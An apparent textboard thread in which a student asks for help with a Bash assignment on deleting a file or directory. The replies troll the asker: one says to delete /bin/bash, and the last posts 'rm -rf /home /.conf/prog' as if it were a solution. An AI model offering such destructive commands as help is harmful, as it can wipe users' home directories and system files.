Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

BASH Scripting question

Name: Anonymous 2012-11-13 21:54

Hey prog, can you help me with my BASH scripting assignment?

Can't get this question.

4. Write a BASH script that takes a file name and a directory name as command line arguments and removes the file if it is found under the given directory and is a simple file. If the file (the first argument) is a directory, it is removed (including all the files and sub-directories under it).

Thanks in advance.

Name: man test 2012-11-13 21:59

However, rm -R is enough for me.

Also, delete /bin/bash, and replace it with something better, like mksh or guile.

Name: Anonymous 2012-11-13 22:03

@man test

Did you forget some of your post?

Name: Anonymous 2012-11-13 22:04

Oh wait.

I'm an idiot.

Thanks, man.

Name: Anonymous 2012-11-13 22:11

rm -rf /home /.conf/prog

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List